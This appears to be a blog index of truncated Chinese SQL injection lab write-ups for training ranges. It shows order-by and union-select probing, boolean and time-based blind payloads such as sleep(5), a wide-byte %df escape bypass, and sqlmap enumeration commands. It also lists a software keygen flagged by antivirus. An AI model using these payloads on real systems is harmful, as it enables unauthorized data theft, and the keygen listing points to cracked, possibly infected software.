逸辰 6.4.1-6.4.3-SQL注入-延时注入
6.4.1经过测试,其可以通过返回界面判断,所以采用布尔盲注法即可。6.4.21、 进入靶场 ?id=1 ?id=1’ ?id=0.999均返回此页面为了判断语句是否正确执行,加入sleep函数http://120.203.13.75:8150/New/TimeBased/RankTwo/sql-Two/?id=1%27%20and%20sleep(5)--+ 延时5秒,然后才返回页面,
逸辰 6.3.1-6.3.3SQL注入-宽字节注入
6.3.1-SQL注入-宽字节注入查询注入点 ?id=1’ 猜字段发现出现转字符\导致sql语句无法执行。我们发现\的编码是%5c,根据gbk的编码,而‘運’字是%df%5c。因为\使我们无法去注入,那么我们可以用%df吃掉%5c,然后成功的让闭合单引号逃逸了转义字符。寻找输出点:http://120.203.13.75:8150/New/WidecharBased/RankOne/sq
逸辰 6.2.2SQL注入-盲注补充(sqlmap)
sqlmap.py -u "" --dbssqlmap.py -u "" -D security --tablessqlmap.py -u "" -D security -T zkaq --columnssqlmap.py -u "" -D security -T zkaq -C "zKaQ" --
逸辰 6.2.1-6.2.2SQL注入-盲注
6.2.1一、?id=1 确定存在注入点 并发现需要闭合’’ 二、猜字段order by 字段数为3 http://120.203.13.75:8150/New/BlindBased/RankOne/sql-one/?id=1%27%20order%20by%201%23 三、联合查询 寻找输出点 发现没有显示那么猜解当前数据库名称长度:and (length(d
截图软件hypersnap
软件注册机(会报毒)汉化包
逸辰 6.1.2-6.1.4SQL注入-显错注入
6.1.2一、进入靶场 ?id=1’判断是否存在注入点二、order by 猜字段分别尝试order by 1 2 3 4,确定字段数为3三、联合查询寻找输出点?id=1 and 1=2 union select 1,2,3 找到输出点四、查看数据库版本 ?id=1 and 1=2 union select 1,2,version()查看在哪个数据库里 ?id=1 and 1=2 uni
逸辰 6.1.1-SQL注入-显错注入
一、进入靶场 ?id=1’判断是否存在注入点二、order by 猜字段?id=1 order by 100 依旧正确 发现多了’,中间的变成了字符串。闭合’’,并用#(--+等均可注释)注释掉’limit0,1,#号URL编码为%23 ?id=1’order by 100 %23,报错,分别尝试order by 1 2 3 4,确定字段数为3三、联合查询寻找输出点?id=1’and
逸辰 一到六总结
需要看的话直接下附件吧一、1. 首先进入靶场点击查看新闻进入http://117.41.229.122:8003/?id=1,尝试寻找是否存在sql注入点。2.首先and 1=1 ,返回结果如下:and 1 = 2,返回结果如下:这里基本可以判断存在注入点。3.采用二分法从10开始,order by 10,直到order by 2时,注入点为2。and 1=2 union select